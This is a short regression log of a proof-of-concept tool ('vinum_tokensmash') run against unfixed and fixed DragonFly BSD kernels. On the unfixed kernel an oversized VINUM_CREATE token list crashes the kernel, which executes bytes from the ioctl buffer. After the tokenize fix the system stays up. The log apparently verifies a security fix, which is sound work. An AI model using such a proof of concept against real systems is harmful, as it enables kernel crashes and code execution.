=== BASELINE (unfixed kernel, DragonFly 6.5-DEVELOPMENT #0 Thu Jul 2) ===
$ ./vinum_tokensmash 500
line "drive d0"
  -> rc=... (output lost to the panic below)
sending 500 tokens (1005 bytes) via VINUM_CREATE...
[guest panics:]

Fatal trap 1: privileged instruction fault while in kernel mode
instruction pointer	= 0x8:0xfffff8008db3d4c3   (ioctl buffer, not kernel text)
current process		= 992 (vinum_tokensmash)
Stopped at      -0x7ff724c2b3d: popal              (0x61 == 'a', our token byte)

[reproduced twice from fresh boots; see panic.txt / serial_full_crash1.txt]
dmesg preceding: vinumioctl: invalid ioctl from process 979 (vinum_tokensmash)

=== FIXED KERNEL (DragonFly 6.5-DEVELOPMENT #1 Fri Sep 18 04:22, tokenize bounded) ===
$ ./vinum_tokensmash 500
line "drive d0"
  -> rc=-1 errno=1 reply.error=1986622052 msg="e d0"
sending 500 tokens (1005 bytes) via VINUM_CREATE...
  -> rc=0 errno=1 reply.error=-1 msg="e"          <- tokenize returned -1, no overflow
ioctl returned; kernel static data now holds 436 overflow pointers   (printed by the PoC text, actually 0 written now)
line "drive d1"
  -> rc=-1 ...
still alive
TOKENSMASH_EXIT=0
[guest stays up]